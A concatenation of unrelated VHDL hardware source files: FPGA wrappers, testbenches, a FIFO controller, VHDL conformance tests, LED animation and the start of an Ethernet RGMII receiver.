o_no_rw_rw_bit => s_o_no_rw_rw_bit,
o_no_rw_rw_slice => s_o_no_rw_rw_slice,
i_no_rw_ro_bit => s_i_no_rw_ro_bit,
i_no_rw_ro_slice => s_i_no_rw_ro_slice,
o_no_rw_wo_bit => s_o_no_rw_wo_bit,
o_no_rw_wo_slice => s_o_no_rw_wo_slice,
o_no_rw_tr_bit => s_o_no_rw_tr_bit,
o_no_rw_tr_slice => s_o_no_rw_tr_slice,
o_notify_rw_trd => s_o_notify_rw_trd,
o_notify_rw_twr => s_o_notify_rw_twr,
o_no_ro_rw_bit => s_o_no_ro_rw_bit,
o_no_ro_rw_slice => s_o_no_ro_rw_slice,
i_no_ro_ro_bit => s_i_no_ro_ro_bit,
i_no_ro_ro_slice => s_i_no_ro_ro_slice,
o_no_ro_wo_bit => s_o_no_ro_wo_bit,
o_no_ro_wo_slice => s_o_no_ro_wo_slice,
o_no_ro_tr_bit => s_o_no_ro_tr_bit,
o_no_ro_tr_slice => s_o_no_ro_tr_slice,
o_notify_ro_trd => s_o_notify_ro_trd,
o_no_wo_rw_bit => s_o_no_wo_rw_bit,
o_no_wo_rw_slice => s_o_no_wo_rw_slice,
i_no_wo_ro_bit => s_i_no_wo_ro_bit,
i_no_wo_ro_slice => s_i_no_wo_ro_slice,
o_no_wo_wo_bit => s_o_no_wo_wo_bit,
o_no_wo_wo_slice => s_o_no_wo_wo_slice,
o_no_wo_tr_bit => s_o_no_wo_tr_bit,
o_no_wo_tr_slice => s_o_no_wo_tr_slice,
o_notify_wo_twr => s_o_notify_wo_twr);
END GENERATE gen_dut_notify;
END ARCHITECTURE tb;
-------------------------------------------------------------------------------
|
architecture structure of ErrorIndicator is
component ErrorBit
Port ( Clk_i : in STD_LOGIC;
Reset_i_n : in STD_LOGIC;
ErrorReset_i : in STD_LOGIC;
ErrorBit_i : in STD_LOGIC;
ErrorIndicatorBit_o : out STD_LOGIC);
end component;
begin
-- Parity Error
PARITYERR: ErrorBit
port map ( Clk_i => Clk_i,
Reset_i_n => Reset_i_n,
ErrorReset_i => ErrorReset_i,
ErrorBit_i => ParityError_i,
ErrorIndicatorBit_o => ParityErrorIndicator_o);
-- StopBit Error
STOPERR: ErrorBit
port map ( Clk_i => Clk_i,
Reset_i_n => Reset_i_n,
ErrorReset_i => ErrorReset_i,
ErrorBit_i => StopBitError_i,
ErrorIndicatorBit_o => StopBitErrorIndicator_o);
-- RxBufferFullError
RXBUFFERR: ErrorBit
port map ( Clk_i => Clk_i,
Reset_i_n => Reset_i_n,
ErrorReset_i => ErrorReset_i,
ErrorBit_i => RxBufferFullError_i,
ErrorIndicatorBit_o => RxBufferFullErrorIndicator_o);
end structure;
|
-- (c) Copyright 1995-2017 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:user:ov7670_controller:1.0
-- IP Revision: 3
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
ENTITY system_ov7670_controller_1_0 IS
PORT (
clk : IN STD_LOGIC;
resend : IN STD_LOGIC;
config_finished : OUT STD_LOGIC;
sioc : OUT STD_LOGIC;
siod : INOUT STD_LOGIC;
reset : OUT STD_LOGIC;
pwdn : OUT STD_LOGIC;
xclk : OUT STD_LOGIC
);
END system_ov7670_controller_1_0;
ARCHITECTURE system_ov7670_controller_1_0_arch OF system_ov7670_controller_1_0 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : STRING;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF system_ov7670_controller_1_0_arch: ARCHITECTURE IS "yes";
COMPONENT ov7670_controller IS
PORT (
clk : IN STD_LOGIC;
resend : IN STD_LOGIC;
config_finished : OUT STD_LOGIC;
sioc : OUT STD_LOGIC;
siod : INOUT STD_LOGIC;
reset : OUT STD_LOGIC;
pwdn : OUT STD_LOGIC;
xclk : OUT STD_LOGIC
);
END COMPONENT ov7670_controller;
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF clk: SIGNAL IS "xilinx.com:signal:clock:1.0 clk CLK";
ATTRIBUTE X_INTERFACE_INFO OF reset: SIGNAL IS "xilinx.com:signal:reset:1.0 reset RST";
BEGIN
U0 : ov7670_controller
PORT MAP (
clk => clk,
resend => resend,
config_finished => config_finished,
sioc => sioc,
siod => siod,
reset => reset,
pwdn => pwdn,
xclk => xclk
);
END system_ov7670_controller_1_0_arch;
|
-- (c) Copyright 1995-2017 Xilinx, Inc. All rights reserved.
--
-- This file contains confidential and proprietary information
-- of Xilinx, Inc. and is protected under U.S. and
-- international copyright and other intellectual property
-- laws.
--
-- DISCLAIMER
-- This disclaimer is not a license and does not grant any
-- rights to the materials distributed herewith. Except as
-- otherwise provided in a valid license issued to you by
-- Xilinx, and to the maximum extent permitted by applicable
-- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
-- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
-- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
-- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
-- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
-- (2) Xilinx shall not be liable (whether in contract or tort,
-- including negligence, or under any other theory of
-- liability) for any loss or damage of any kind or nature
-- related to, arising under or in connection with these
-- materials, including for any direct, or any indirect,
-- special, incidental, or consequential loss or damage
-- (including loss of data, profits, goodwill, or any type of
-- loss or damage suffered as a result of any action brought
-- by a third party) even if such damage or loss was
-- reasonably foreseeable or Xilinx had been advised of the
-- possibility of the same.
--
-- CRITICAL APPLICATIONS
-- Xilinx products are not designed or intended to be fail-
-- safe, or for use in any application requiring fail-safe
-- performance, such as life-support or safety devices or
-- systems, Class III medical devices, nuclear facilities,
-- applications related to the deployment of airbags, or any
-- other applications that could lead to death, personal
-- injury, or severe property or environmental damage
-- (individually and collectively, "Critical
-- Applications"). Customer assumes the sole risk and
-- liability of any use of Xilinx products in Critical
-- Applications, subject only to applicable laws and
-- regulations governing limitations on product liability.
--
-- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
-- PART OF THIS FILE AT ALL TIMES.
--
-- DO NOT MODIFY THIS FILE.
-- IP VLNV: xilinx.com:user:ov7670_controller:1.0
-- IP Revision: 3
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
ENTITY system_ov7670_controller_1_0 IS
PORT (
clk : IN STD_LOGIC;
resend : IN STD_LOGIC;
config_finished : OUT STD_LOGIC;
sioc : OUT STD_LOGIC;
siod : INOUT STD_LOGIC;
reset : OUT STD_LOGIC;
pwdn : OUT STD_LOGIC;
xclk : OUT STD_LOGIC
);
END system_ov7670_controller_1_0;
ARCHITECTURE system_ov7670_controller_1_0_arch OF system_ov7670_controller_1_0 IS
ATTRIBUTE DowngradeIPIdentifiedWarnings : STRING;
ATTRIBUTE DowngradeIPIdentifiedWarnings OF system_ov7670_controller_1_0_arch: ARCHITECTURE IS "yes";
COMPONENT ov7670_controller IS
PORT (
clk : IN STD_LOGIC;
resend : IN STD_LOGIC;
config_finished : OUT STD_LOGIC;
sioc : OUT STD_LOGIC;
siod : INOUT STD_LOGIC;
reset : OUT STD_LOGIC;
pwdn : OUT STD_LOGIC;
xclk : OUT STD_LOGIC
);
END COMPONENT ov7670_controller;
ATTRIBUTE X_INTERFACE_INFO : STRING;
ATTRIBUTE X_INTERFACE_INFO OF clk: SIGNAL IS "xilinx.com:signal:clock:1.0 clk CLK";
ATTRIBUTE X_INTERFACE_INFO OF reset: SIGNAL IS "xilinx.com:signal:reset:1.0 reset RST";
BEGIN
U0 : ov7670_controller
PORT MAP (
clk => clk,
resend => resend,
config_finished => config_finished,
sioc => sioc,
siod => siod,
reset => reset,
pwdn => pwdn,
xclk => xclk
);
END system_ov7670_controller_1_0_arch;
|
-- revision history:
-- 2015-08-06 Carlos Minamisava Faria created
library IEEE;
use IEEE.std_logic_1164.all;
use IEEE.numeric_std.all;
library WORK;
use WORK.cpu_pack.all;
entity tb_cpu_control is
end entity tb_cpu_control;
architecture behavioural of tb_cpu_control is
-- -------- SIMULATION CONSTANTS -----
constant CLK_TIME : time := 2000 ps;
constant RST_TIME : time := 30 ns;
-- -------- CPU CONTROL -----
signal clk, rst, instr_stall, data_stall, memstg, id_enable_regs, in_mux_pc : std_logic := '0';
signal instr_addr, data_addr, data_to_cpu, data_from_cpu : std_logic_vector (31 downto 0) := x"00000000";
signal alu_op : std_logic_vector (5 downto 0) := "000000";
signal exc_mux1, exc_mux2, id_regdest_mux, id_regshift_mux : std_logic_vector(1 downto 0) := "00";
signal exc_alu_zero : std_logic_vector(0 downto 0) := "0";
signal stage_control : std_logic_vector(4 downto 0) := "11111";
signal rd_mask, wr_mask : std_logic_vector(3 downto 0) := "0000";
-- Tweak clock frequency here
constant clk_time : time := 10 ns;
begin
-- GENERAL CONTROL SIGNALS
clk <= not clk after CLK_TIME;
--rst <= '1', '0' after RST_TIME;
-- datapath
u1_control : entity work.cpu_control(structure_cpu_control)
port map(
clk => clk,
rst => rst,
instr_addr => instr_addr,
data_addr => data_addr,
rd_mask => rd_mask,
wr_mas => wr_mas,
instr_stall => instr_stall,
data_stall => data_stall,
instr_in => instr_in,
data_to => data_to,
data_from => data_from,
alu_op => alu_op,
exc_mux1 => exc_mux1,
exc_mux2 => exc_mux2,
exc_alu => exc_alu,
memstg_mux => memstg_mux,
id_regdest => id_regdest,
id_regshift => id_regshift,
id_enable => id_enable,
in_mux => in_mux,
stage_control => stage_control
);
);
-- TEST PROCESS
test_process:
process
begin
sim_finish <= '0';
rst <= '0';
test_stage_control <= b"11111";
wait for 2*CLK_TIME;
rst <= '1';
wait for CLK_TIME;
-- ADDI ==> Opcode: 0010_00 rs: 0_0001 rt: 0_0010 im: 0000_0000_0000_0001
instr_in <= b"0010_00_00_001_0_0010_0000_0000_0000_0001";
-- test_alu_op <= b"10_0000";
-- test_exc_mux1 <= b"10";
-- test_exc_mux2 <= b"01";
-- test_memstg_mux <= '1';
-- test_id_regdest_mux <= b"10";
-- test_id_regshift_mux <= b"00";
-- test_id_enable_regs <= '0';
-- test_in_mux_pc <= '0';
end process test_process;
end architecture;
|
-- This file is part of easyFPGA.
-- Copyright 2013-2015 os-cillation GmbH
--
-- easyFPGA is free software: you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation, either version 3 of the License, or
-- (at your option) any later version.
--
-- easyFPGA is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with easyFPGA. If not, see <http://www.gnu.org/licenses/>.
--===========================================================================--
-- F I F O C O N T R O L L E R
--
-- purpose: abstraction of an ftdi ft245 style fifo interface
-- type: mealy state machine
--===========================================================================--
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
use work.constants.all;
--===========================================================================--
entity fifo_controller is
--===========================================================================--
generic(
FIFO_WIDTH : natural := 8
);
port(
-- fifo adapter interface
data_transmit_o : out std_logic_vector(FIFO_WIDTH -1 downto 0);
txe_i : in std_logic;
wr_o : out std_logic;
data_receive_i : in std_logic_vector(FIFO_WIDTH -1 downto 0);
rxf_i : in std_logic;
rd_o : out std_logic;
direction_o : out std_logic; -- 0:receiver, 1:transmitter
-- receive buffer interface
word_recbuf_o : out std_logic_vector(FIFO_WIDTH -1 downto 0);
store_recbuf_o : out std_logic;
busy_recbuf_i : in std_logic;
-- transmit buffer interface
word_trabuf_i : in std_logic_vector(FIFO_WIDTH -1 downto 0);
send_trabuf_i : in std_logic;
-- misc
transmitter_mode_i: in std_logic;
clk_i : in std_logic;
rst_i : in std_logic
);
end fifo_controller;
--===========================================================================--
architecture two_proc of fifo_controller is
--===========================================================================--
type state_type is (
idle,
rd_request,
rd_wait0,
rd_wait1,
rd_wait2,
rd_store,
rd_end,
wr0,
wr1,
wr2,
wr3,
wr4
);
type reg_type is record
state : state_type;
counter : integer range 0 to 15;
end record;
signal reg_out, reg_in : reg_type;
begin
--===========================================================================--
COMBINATIONAL : process (reg_out, rxf_i, txe_i, word_trabuf_i, send_trabuf_i,
data_receive_i, transmitter_mode_i, busy_recbuf_i) is
--===========================================================================--
variable tmp : reg_type;
begin
-- default assignment
tmp := reg_out;
case tmp.state is
when idle =>
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '0'; -- receiver mode
store_recbuf_o <= '0';
data_transmit_o <= (others=>'-');
word_recbuf_o <= (others=>'-');
-- reset counter
tmp.counter := 0;
-- next state logic
if (rxf_i = '1' and busy_recbuf_i = '0') then
tmp.state := rd_request;
rd_o <= '1';
elsif (send_trabuf_i = '1' and transmitter_mode_i = '1') then
tmp.state := wr0;
else
tmp.state := idle;
end if;
-- read request: assert rd to read fifo receive buffer
-- read wait: wait three cycles for data to become valid
-- Total duration: 50 ns @ 80 MHz
when rd_request | rd_wait0 | rd_wait1 | rd_wait2 =>
-- outputs
wr_o <= '0';
rd_o <= '1';
direction_o <= '0';
store_recbuf_o <= '0';
data_transmit_o <= (others=>'-');
word_recbuf_o <= (others=>'-');
-- next state logic:
case tmp.state is
when rd_request =>
tmp.state := rd_wait0;
when rd_wait0 =>
tmp.state := rd_wait1;
when rd_wait1 =>
tmp.state := rd_wait2;
when others => -- rd_wait2
tmp.state := rd_store;
end case;
-- read store: assumes data is valid and stores
when rd_store =>
-- outputs
wr_o <= '0';
rd_o <= '1';
direction_o <= '0';
store_recbuf_o <= '1';
data_transmit_o <= (others=>'-');
word_recbuf_o <= data_receive_i;
-- next state logic
tmp.state := rd_end;
-- read end: wait until rxf is reset
when rd_end =>
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '0';
store_recbuf_o <= '0';
data_transmit_o <= (others=>'-');
word_recbuf_o <= (others=>'-');
-- next state logic
if (rxf_i = '0') then
tmp.state := idle;
else
tmp.state := rd_end;
end if;
when wr0 => -- wait for txe
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '0';
store_recbuf_o <= '0';
data_transmit_o <= (others=>'-');
word_recbuf_o <= (others=>'-');
-- next state logic
if (txe_i = '1') then
tmp.state := wr1;
else
tmp.state := wr0;
end if;
when wr1 => -- set direction
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '1';
store_recbuf_o <= '0';
data_transmit_o <= (others=>'-');
word_recbuf_o <= (others=>'-');
-- next state logic
tmp.state := wr2;
when wr2 => -- drive out data
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '1';
store_recbuf_o <= '0';
data_transmit_o <= word_trabuf_i;
word_recbuf_o <= (others=>'-');
-- next state logic
tmp.state := wr3;
when wr3 => -- assert wr (minimum 50 ns)
-- outputs
wr_o <= '1';
rd_o <= '0';
direction_o <= '1';
store_recbuf_o <= '0';
data_transmit_o <= word_trabuf_i;
word_recbuf_o <= (others=>'-');
-- count
tmp.counter := tmp.counter + 1;
-- next state logic
if (tmp.counter < 4) then -- 50 ns * 80 MHz = 4
tmp.state := wr3;
else
tmp.state := wr4;
end if;
when wr4 => -- deassert wr
-- outputs
wr_o <= '0';
rd_o <= '0';
direction_o <= '1';
store_recbuf_o <= '0';
data_transmit_o <= word_trabuf_i;
word_recbuf_o <= (others=>'-');
-- next state logic
tmp.state := idle;
end case;
-- drive register inputs
reg_in <= tmp;
end process COMBINATIONAL;
--===========================================================================--
REGISTERS : process (clk_i, rst_i) is
--===========================================================================--
begin
if (rising_edge(clk_i)) then
if (rst_i = '1') then
reg_out.state <= idle;
else
reg_out <= reg_in;
end if;
end if;
end process REGISTERS;
end two_proc;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc1559.vhd,v 1.2 2001-10-26 16:30:11 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c08s10b00x00p03n01i01559ent IS
END c08s10b00x00p03n01i01559ent;
ARCHITECTURE c08s10b00x00p03n01i01559arch OF c08s10b00x00p03n01i01559ent IS
BEGIN
TESTING: PROCESS
BEGIN
L : for i in 1 to 10 loop
end loop;
next L;
assert FALSE
report "***FAILED TEST: c08s10b00x00p03n01i01559 - A next statement with a loop label must be inside the loop containing that label"
severity ERROR;
wait;
END PROCESS TESTING;
END c08s10b00x00p03n01i01559arch;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc1559.vhd,v 1.2 2001-10-26 16:30:11 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c08s10b00x00p03n01i01559ent IS
END c08s10b00x00p03n01i01559ent;
ARCHITECTURE c08s10b00x00p03n01i01559arch OF c08s10b00x00p03n01i01559ent IS
BEGIN
TESTING: PROCESS
BEGIN
L : for i in 1 to 10 loop
end loop;
next L;
assert FALSE
report "***FAILED TEST: c08s10b00x00p03n01i01559 - A next statement with a loop label must be inside the loop containing that label"
severity ERROR;
wait;
END PROCESS TESTING;
END c08s10b00x00p03n01i01559arch;
|
-- Copyright (C) 2001 Bill Billowitch.
-- Some of the work to develop this test suite was done with Air Force
-- support. The Air Force and Bill Billowitch assume no
-- responsibilities for this software.
-- This file is part of VESTs (Vhdl tESTs).
-- VESTs is free software; you can redistribute it and/or modify it
-- under the terms of the GNU General Public License as published by the
-- Free Software Foundation; either version 2 of the License, or (at
-- your option) any later version.
-- VESTs is distributed in the hope that it will be useful, but WITHOUT
-- ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-- FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
-- for more details.
-- You should have received a copy of the GNU General Public License
-- along with VESTs; if not, write to the Free Software Foundation,
-- Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-- ---------------------------------------------------------------------
--
-- $Id: tc1559.vhd,v 1.2 2001-10-26 16:30:11 paw Exp $
-- $Revision: 1.2 $
--
-- ---------------------------------------------------------------------
ENTITY c08s10b00x00p03n01i01559ent IS
END c08s10b00x00p03n01i01559ent;
ARCHITECTURE c08s10b00x00p03n01i01559arch OF c08s10b00x00p03n01i01559ent IS
BEGIN
TESTING: PROCESS
BEGIN
L : for i in 1 to 10 loop
end loop;
next L;
assert FALSE
report "***FAILED TEST: c08s10b00x00p03n01i01559 - A next statement with a loop label must be inside the loop containing that label"
severity ERROR;
wait;
END PROCESS TESTING;
END c08s10b00x00p03n01i01559arch;
|
----------------------------------------------------------------------------------
-- Company:
-- Engineer: Stefan Naco (fpgaddicted)
--
-- Create Date: 13:05:35 04/27/2017
-- Design Name:
-- Module Name: turnsignals_anim - Behavioral
-- Project Name:
-- Target Devices:
-- Tool versions:
-- Description:
--
-- Dependencies:
--
-- Revision:
-- Revision 0.3 - Optimization fix -FINAL
-- Additional Comments:
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
-- Uncomment the following library declaration if using
-- arithmetic functions with Signed or Unsigned values
use IEEE.NUMERIC_STD.ALL;
-- Uncomment the following library declaration if instantiating
-- any Xilinx primitives in this code.
--library UNISIM;
--use UNISIM.VComponents.all;
entity turnsignals_anim is
Port ( clk : in STD_LOGIC;
reset : in STD_LOGIC;
en : in STD_LOGIC;
led_out : out STD_LOGIC_VECTOR(2 downto 0));
end turnsignals_anim;
architecture animation_engine of turnsignals_anim is
type state is (s0,s1,s2,s3,s4,s5);
signal s : state;
begin
process(clk)
variable i: integer:=0;
begin
if rising_edge(clk) then
if (reset = '1') or (en = '0') then
s <= s0;
led_out <= "000";
else
case s is
when s0=>
i:=i+1;
led_out <="000";
if(i=6250000) then
i:=0;
s <= s1;
end if;
when s1=>
i:=i+1;
led_out <="100";
if(i=6250000) then
i:=0;
s <= s2;
end if;
when s2=>
i:=i+1;
led_out <="110";
if(i=6250000) then
s <= s3;
i:=0;
end if;
when s3=>
i:=i+1;
led_out <="111";
if(i=6250000) then
i:=0;
s <= s4;
end if;
when s4=>
i:=i+1;
led_out <="011";
if(i=6250000) then
i:=0;
s <= s5;
end if;
when s5=>
i:=i+1;
led_out <="001";
if(i=6250000) then
i:=0;
s <= s0;
end if;
end case;
end if;
end if;
end process;
end animation_engine;
|
----------------------------------------------------------------------------------
-- Company:
-- Engineer:
--
-- Create Date: 08:02:41 10/09/2011
-- Design Name:
-- Module Name: BCD2Binary - BCD2BinaryArchitecture
-- Project Name:
-- Target Devices:
-- Tool versions:
-- Description:
--
-- Dependencies:
--
-- Revision:
-- Revision 0.01 - File Created
-- Additional Comments:
--
----------------------------------------------------------------------------------
library IEEE;
use IEEE.STD_LOGIC_1164.ALL;
entity BCD2Binary is
Port ( bcd : in STD_LOGIC_VECTOR(3 downto 0);
binary : out STD_LOGIC_VECTOR(7 downto 0));
end BCD2Binary;
architecture BCD2BinaryArchitecture of BCD2Binary is
begin
binary(3 downto 0) <= bcd;
binary(7 downto 4) <= "0000";
end BCD2BinaryArchitecture;
|
-------------------------------------------------------------------------------
-- Copyright (c) 2013 Xilinx, Inc.
-- All Rights Reserved
-------------------------------------------------------------------------------
-- ____ ____
-- / /\/ /
-- /___/ \ / Vendor : Xilinx
-- \ \ \/ Version : 13.4
-- \ \ Application: XILINX CORE Generator
-- / / Filename : chipscope_icon_8_port.vhd
-- /___/ /\ Timestamp : Tue Apr 02 16:25:10 BRT 2013
-- \ \ / \
-- \___\/\___\
--
-- Design Name: VHDL Synthesis Wrapper
-------------------------------------------------------------------------------
-- This wrapper is used to integrate with Project Navigator and PlanAhead
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
ENTITY chipscope_icon_8_port IS
port (
CONTROL0: inout std_logic_vector(35 downto 0);
CONTROL1: inout std_logic_vector(35 downto 0);
CONTROL2: inout std_logic_vector(35 downto 0);
CONTROL3: inout std_logic_vector(35 downto 0);
CONTROL4: inout std_logic_vector(35 downto 0);
CONTROL5: inout std_logic_vector(35 downto 0);
CONTROL6: inout std_logic_vector(35 downto 0);
CONTROL7: inout std_logic_vector(35 downto 0));
END chipscope_icon_8_port;
ARCHITECTURE chipscope_icon_8_port_a OF chipscope_icon_8_port IS
BEGIN
END chipscope_icon_8_port_a;
|
-------------------------------------------------------------------------------
-- Title :
-- Project :
-------------------------------------------------------------------------------
-- File : rgmii_rx.vhd
-- Author : liyi <[email protected]>
-- Company : OE@HUST
-- Created : 2012-11-14
-- Last update: 2013-05-21
-- Platform :
-- Standard : VHDL'93/02
-------------------------------------------------------------------------------
-- Description:
-------------------------------------------------------------------------------
-- Copyright (c) 2012 OE@HUST
-------------------------------------------------------------------------------
-- Revisions :
-- Date Version Author Description
-- 2012-11-14 1.0 root Created
-- 2013-05-13 1.0 liyi change dataen signal ,now the dest&sourcr mac
-- addr and type_len info are counted as valid data
-------------------------------------------------------------------------------
LIBRARY ieee;
USE ieee.std_logic_1164.ALL;
USE ieee.numeric_std.ALL;
USE work.eth_pkg.ALL;
-------------------------------------------------------------------------------
ENTITY rgmii_rx IS
PORT (
iClk : IN STD_LOGIC;
iRst_n : IN STD_LOGIC;
iRxData : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
iRxDV : IN STD_LOGIC;
iRxEr : IN STD_LOGIC;
-- these signals come from wishbone clock domian, NOT synchronized
iCheckSumIPCheck : IN STD_LOGIC;
iCheckSumTCPCheck : IN STD_LOGIC;
iCheckSumUDPCheck : IN STD_LOGIC;
iCheckSumICMPCheck : IN STD_LOGIC;
oEOF : OUT STD_LOGIC;
oSOF : OUT STD_LOGIC;
oCRCErr : OUT STD_LOGIC;
oRxErr : OUT STD_LOGIC;
oRxErr_Count : OUT STD_LOGIC_VECTOR(15 downto 0);
oLenErr : OUT STD_LOGIC;
oCheckSumErr : OUT STD_LOGIC;
iMyMAC : IN STD_LOGIC_VECTOR(47 DOWNTO 0);
oGetARP : OUT STD_LOGIC;
oGetIPv4 : BUFFER STD_LOGIC;
oGetCtrl : OUT STD_LOGIC;
oGetRaw : BUFFER STD_LOGIC;
oTaged : OUT STD_LOGIC;
oTagInfo : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
oStackTaged : BUFFER STD_LOGIC;
oTagInfo2 : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
oLink : OUT STD_LOGIC;
oSpeed : OUT STD_LOGIC_VECTOR(1 DOWNTO 0);
oDuplex : OUT STD_LOGIC;
oPayloadLen : BUFFER UNSIGNED(15 DOWNTO 0);
oRxData : OUT STD_LOGIC_VECTOR(7 DOWNTO 0);
oRxDV : OUT STD_LOGIC
);
END ENTITY rgmii_rx;
-------------------------------------------------------------------------------
ARCHITECTURE rtl OF rgmii_rx IS
SIGNAL sof, eof : STD_LOGIC;
SIGNAL crcEn, crcEn2 : STD_LOGIC;
SIGNAL crcErr : STD_LOGIC;
SIGNAL dvDly : STD_LOGIC_VECTOR(3 DOWNTO 0);
TYPE dataAyy_t IS ARRAY (3 DOWNTO 0) OF STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL dataDly : dataAyy_t;
TYPE state_t IS (IDLE, SFD, DEST_MAC, SOURCE_MAC, FRAME_TYPE, TAG_INFO1, TAG_INFO2, PAYLOAD);
SIGNAL state : state_t;
SIGNAL byteCnt : UNSIGNED(15 DOWNTO 0);
SIGNAL destMACAddr : STD_LOGIC_VECTOR(47 DOWNTO 8);
SIGNAL frm4Me : STD_LOGIC;
SIGNAL rxDV, dataEn : STD_LOGIC;
SIGNAL rCheckSumOk : BOOLEAN;
--AJOUT FIFO RX
SIGNAL ff_reset_int, ff_rd_req_int, ff_wr_req_int, ff_empty_int, ff_full_int : STD_LOGIC;
--AJOUT JOHN DELAY
TYPE T_dly is array(2 downto 0) of std_logic_vector(7 downto 0);
signal oRxData_dly : T_dly;
signal oRxData_int : std_logic_vector(7 downto 0);
signal oRxDV_dly_2_int, oRxDV_dly_1_int, oRxDV_dly_0_int, oRxDV_int,
oSoF_int : std_logic;
signal oSoF_dly_int : std_logic_vector(6 downto 0);
--TEST
signal oLenErr_int, en_count_int : std_logic;
signal oRxErr_Count_int : UNSIGNED(15 DOWNTO 0);
BEGIN -- ARCHITECTURE rtl
-- check sum calc
blkCS : BLOCK IS
TYPE state_t IS (IDLE, IP4_HEAD, TCP, UDP, ICMP, UNKNOWN, DONE);
SIGNAL rState : state_t;
SIGNAL cRxDataD1 : STD_LOGIC_VECTOR(7 DOWNTO 0);
SIGNAL rCheckSum : UNSIGNED(31 DOWNTO 0);
SIGNAL cCheckSum : UNSIGNED(15 DOWNTO 0);
